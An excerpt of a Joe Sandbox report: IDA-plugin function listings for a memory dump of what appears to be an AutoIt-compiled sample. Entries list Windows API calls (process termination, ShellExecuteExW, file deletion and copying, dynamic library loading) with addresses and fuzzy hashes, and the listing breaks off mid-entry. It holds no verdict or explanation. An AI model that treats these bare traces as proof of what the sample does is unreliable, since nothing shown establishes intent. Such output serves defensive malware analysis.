MulDiv.KERNEL32(000009EC,?,00000000), ref: 00B8524F
MulDiv.KERNEL32(000009EC,00000001,?), ref: 00B85261

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: dd7582bbede7af5d533088120d5dd2915e1ec256ce4398f78d8e314ee07ad70c
Instruction ID: 804cbea65267dcb8129f1f4d15991dba45c729e98ccd3f93575f9f2fa5f8550d
Opcode Fuzzy Hash: dd7582bbede7af5d533088120d5dd2915e1ec256ce4398f78d8e314ee07ad70c
Instruction Fuzzy Hash: 0E016275E01719BBEB10AFA99C49E5EBFB8EF48751F044165FA05EB291DA709C00CFA0

Function 00B21BC3 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00B21BF4
MapVirtualKeyW.USER32(00000010,00000000), ref: 00B21BFC
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00B21C07
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00B21C12
MapVirtualKeyW.USER32(00000011,00000000), ref: 00B21C1A
MapVirtualKeyW.USER32(00000012,00000000), ref: 00B21C22

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: fbe3737025139df3236d31eb801a4d8ae7e0412825a4c040807432125e879cfc
Instruction ID: ec2de0c06490d2939ac7150a3486b0e744a5fc89fed9bb01311647c4e8a2fcea
Opcode Fuzzy Hash: fbe3737025139df3236d31eb801a4d8ae7e0412825a4c040807432125e879cfc
Instruction Fuzzy Hash: 0D0167B0902B5ABDE3008F6A8C85B52FFA8FF19354F00411BA15C4BA42C7F5A864CBE5

Function 00B8EB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00B8EB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00B8EB46
GetWindowThreadProcessId.USER32(?,?), ref: 00B8EB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B8EB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B8EB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00B8EB75

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: a6caec4a5e8b404c4ff07531c4adf9e09f3f8e8d4e3a2123ef62723686980ebc
Instruction ID: e521c1452aa02cfbb612fc207e2b2ab3b7b6e75926b7c84e7c91b717cb696f50
Opcode Fuzzy Hash: a6caec4a5e8b404c4ff07531c4adf9e09f3f8e8d4e3a2123ef62723686980ebc
Instruction Fuzzy Hash: 88F01D72140158BBE6219B529C0DEEB3E7CEBCAB11F000259F612E2091ABE05A01C6B5

Function 00B77439 Relevance: 9.0, APIs: 6, Instructions: 37windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 00B77452
SendMessageW.USER32(?,00001328,00000000,?), ref: 00B77469
GetWindowDC.USER32(?), ref: 00B77475
GetPixel.GDI32(00000000,?,?), ref: 00B77484
ReleaseDC.USER32(?,00000000), ref: 00B77496
GetSysColor.USER32(00000005), ref: 00B774B0

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 9cd8a9f5cf86113d8f1c08b55677dfc4e25c381da9bbe1fce4c618e5ec96d904
Instruction ID: ce5199457cce19be8be36fd5d11c70400674fa4601a19391b635ae9ddf16ff11
Opcode Fuzzy Hash: 9cd8a9f5cf86113d8f1c08b55677dfc4e25c381da9bbe1fce4c618e5ec96d904
Instruction Fuzzy Hash: 26014B31404215EFDB519F64DC09FAA7FB5FB04311F6146A4F92AA31A1CFB11E51EB50

Function 00B81874 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00B8187F
UnloadUserProfile.USERENV(?,?), ref: 00B8188B
CloseHandle.KERNEL32(?), ref: 00B81894
CloseHandle.KERNEL32(?), ref: 00B8189C
GetProcessHeap.KERNEL32(00000000,?), ref: 00B818A5
HeapFree.KERNEL32(00000000), ref: 00B818AC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: f317dbf43fa4ade7afee5deff55db427907c067a7b57900902f42f42c0708692
Instruction ID: 18661a349d821c2154458370bba0f5efb16930e39b4dad7f043259889c333e30
Opcode Fuzzy Hash: f317dbf43fa4ade7afee5deff55db427907c067a7b57900902f42f42c0708692
Instruction Fuzzy Hash: 74E0E576004101BBDB019FA6ED0C90ABF79FF49B22B508321F225A2070CFB29420DF60

Function 00B8C5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B27620: _wcslen.LIBCMT ref: 00B27625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00B8C6EE
_wcslen.LIBCMT ref: 00B8C735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00B8C79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00B8C7CA

Strings

0, xrefs: 00B8C6AF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 637075c3dccda4db42bba5715591a02ec30d53c58021896db6c5fb142ad2dde1
Instruction ID: 6616549b2af56accb27a994c3f20b7729be968cbf1807bdf1e3629b799068ba7
Opcode Fuzzy Hash: 637075c3dccda4db42bba5715591a02ec30d53c58021896db6c5fb142ad2dde1
Instruction Fuzzy Hash: D051DEB56143019BD715AF28C885A7BBBE8EF49310F040AA9FA95D31B1EB70DD04CB66

Function 00BAAD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00BAAEA3

Part of subcall function 00B27620: _wcslen.LIBCMT ref: 00B27625

GetProcessId.KERNEL32(00000000), ref: 00BAAF38
CloseHandle.KERNEL32(00000000), ref: 00BAAF67

Strings

@, xrefs: 00BAAE72
<, xrefs: 00BAAE6B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 8896eb73c671f487fdf2a46c6cc547b8538c34eab4c22454d3be5dfc741d297d
Instruction ID: 6de51c30469224012b570a0488a0dbe48fcf7cc76e5086fcd294e43b4065d671
Opcode Fuzzy Hash: 8896eb73c671f487fdf2a46c6cc547b8538c34eab4c22454d3be5dfc741d297d
Instruction Fuzzy Hash: BB718A70A04229DFCB14EF54D494A9EBBF0FF09300F148499E85AAB392CB75ED45CBA1

Function 00B8719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00B87206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00B8723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00B8724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00B872CF

Strings

DllGetClassObject, xrefs: 00B87242

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 9f6bc5e493b6b075146dc48ad79feac79ae5030f8265d6e0f8574114b6657ce3
Instruction ID: 9fa2a2a2de8ea4defca3af5bd010b8ee1d167f04780f15dba23d078f2dbf758c
Opcode Fuzzy Hash: 9f6bc5e493b6b075146dc48ad79feac79ae5030f8265d6e0f8574114b6657ce3
Instruction Fuzzy Hash: E6415F71644204EFDB15DF54C884A9A7FE9EF45318F2480EDBD09AF22ADBB1D944CBA0

Function 00BB3D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00BB3E35
IsMenu.USER32(?), ref: 00BB3E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00BB3E92
DrawMenuBar.USER32 ref: 00BB3EA5

Strings

0, xrefs: 00BB3D89

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: e5c9e97e82004a12de1692f2747e46d87187c0997d0dbf36d93d05520b59ef72
Instruction ID: 43b09fb74ca9eb31c6856cce2b47db09517b5aae9060df23a77fc00b16066ab4
Opcode Fuzzy Hash: e5c9e97e82004a12de1692f2747e46d87187c0997d0dbf36d93d05520b59ef72
Instruction Fuzzy Hash: E4413875A00209EFDB10DF54D884AEABBF5FF48750F0441AAE905AB250D7B0EE45CB60

Function 00B81DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B29CB3: _wcslen.LIBCMT ref: 00B29CBD

Part of subcall function 00B83CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00B83CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00B81E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00B81E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00B81EA9

Part of subcall function 00B26B57: _wcslen.LIBCMT ref: 00B26B6A

Strings

ListBox, xrefs: 00B81E25
ComboBox, xrefs: 00B81DF0

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: 183615c3d125df47ba34d5ea4f380fc9456c706d7831339a57fd67c15bded480
Instruction ID: 604d8e7e98fd080eb5423d8b6a151ff9d13bcce1eff8b70216f5512b03b0248b
Opcode Fuzzy Hash: 183615c3d125df47ba34d5ea4f380fc9456c706d7831339a57fd67c15bded480
Instruction Fuzzy Hash: F221B471A01104ABDB14AB68EC46CFFBBECDF45354F144599F81AA71F1DB744906D720

Function 00BAC9EA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00BAC9F1
_wcslen.LIBCMT ref: 00BACA68
_wcslen.LIBCMT ref: 00BACA9E
_wcslen.LIBCMT ref: 00BACAF9
_wcslen.LIBCMT ref: 00BACB2F
_wcslen.LIBCMT ref: 00BACB7F

Strings

HKLM, xrefs: 00BACA98, 00BACA9D
HKEY_LOCAL_MACHINE, xrefs: 00BACA62, 00BACA67

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen
String ID: HKEY_LOCAL_MACHINE$HKLM
API String ID: 176396367-4004644295
Opcode ID: 11d1ef2d414171613252895d70645fd5e3c627a1aa0210f2d807424a61135113
Instruction ID: 4eafe09c6a7b54282e6d701da59b9fc034bfa29f05669e344da934ff02ab94cc
Opcode Fuzzy Hash: 11d1ef2d414171613252895d70645fd5e3c627a1aa0210f2d807424a61135113
Instruction Fuzzy Hash: C1310433A0856E8BCB20DF6DD8405BE3BD1DBA3794B1540E9E845AB25DEB70CE40D3A0

Function 00BB2F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00BB2F8D
LoadLibraryW.KERNEL32(?), ref: 00BB2F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00BB2FA9
DestroyWindow.USER32(?), ref: 00BB2FB1

Strings

SysAnimate32, xrefs: 00BB2F68

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 3f02f0e2843c5d366654f0e4303cd7e583cbc8686ab463542beb6f4522ec156b
Instruction ID: 865b66be83a609daca56efaa3ab69897e18053ed72febf7dce035ffa7ae12b2b
Opcode Fuzzy Hash: 3f02f0e2843c5d366654f0e4303cd7e583cbc8686ab463542beb6f4522ec156b
Instruction Fuzzy Hash: 88216772204209ABEF108FA4DC84EFB77F9EB69364F104668FA50D71A0DBB1DC919760

Function 00B44D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00B44D1E,00B528E9,?,00B44CBE,00B528E9,00BE88B8,0000000C,00B44E15,00B528E9,00000002), ref: 00B44D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B44DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00B44D1E,00B528E9,?,00B44CBE,00B528E9,00BE88B8,0000000C,00B44E15,00B528E9,00000002,00000000), ref: 00B44DC3

Strings

CorExitProcess, xrefs: 00B44D98
mscoree.dll, xrefs: 00B44D86

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b69730eb5197ee8f498a30fa55d978d16f8b61b9bcc5fd079dc542c6e69ba200
Instruction ID: a6dced2f9d59029f86b55974d9416757ab17a7a101a06de812e8f6728dcf4082
Opcode Fuzzy Hash: b69730eb5197ee8f498a30fa55d978d16f8b61b9bcc5fd079dc542c6e69ba200
Instruction Fuzzy Hash: 6CF04F35A50208BBDB159F94DC49BAEBFF9EF44751F0001A9F909A3260CFB05E50DA90

Function 00B24E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B24EDD,?,00BF1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00B24E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00B24EAE
FreeLibrary.KERNEL32(00000000,?,?,00B24EDD,?,00BF1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00B24EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 00B24EA8
kernel32.dll, xrefs: 00B24E94

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 12f16969b283de44661549aeac498758bba817ec2c6d9ebc383561e3d453e4c8
Instruction ID: c64832ea107eaca6ca936e2dc4dc6a511fea7fa1abb08d85d1cafe389b72121e
Opcode Fuzzy Hash: 12f16969b283de44661549aeac498758bba817ec2c6d9ebc383561e3d453e4c8
Instruction Fuzzy Hash: BDE08635A016325BA2316729BC18B6F69D8EF81F627060295FC08F3210DFE4CD0280A0

Function 00B24E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00B63CDE,?,00BF1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00B24E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00B24E74
FreeLibrary.KERNEL32(00000000,?,?,00B63CDE,?,00BF1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00B24E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 00B24E6E
kernel32.dll, xrefs: 00B24E5B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 4e339113e881445fdb47d5a28a950fea94e0aa01c1737b2ef9e31db08c1181f0
Instruction ID: 3f7c328a5cac7aaa3d7c9af81b9f2a3e37f82070620ec635564b570599f851cc
Opcode Fuzzy Hash: 4e339113e881445fdb47d5a28a950fea94e0aa01c1737b2ef9e31db08c1181f0
Instruction Fuzzy Hash: E3D01235502632576A366B297C1CE9F6E98EF85F513060A95F909B7134CFE0CD03C5E0

Function 00B92947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B92C05
DeleteFileW.KERNEL32(?), ref: 00B92C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00B92C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B92CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B92CC0

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 4e406c6daa53eec397b75d04a9dbc299699a9eb0d84093a460b98edc83657dc8
Instruction ID: 970426b94c533159dfce00d7ddc8ba0147d4284a5f52892039ce7db97aed1a2f
Opcode Fuzzy Hash: 4e406c6daa53eec397b75d04a9dbc299699a9eb0d84093a460b98edc83657dc8
Instruction Fuzzy Hash: 81B11A72D00129ABDF25DBA4CC85EEEBBFDEF49350F1040E6F609E6151EA709E448B61

Function 00BAA387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00BAA427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00BAA435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00BAA468
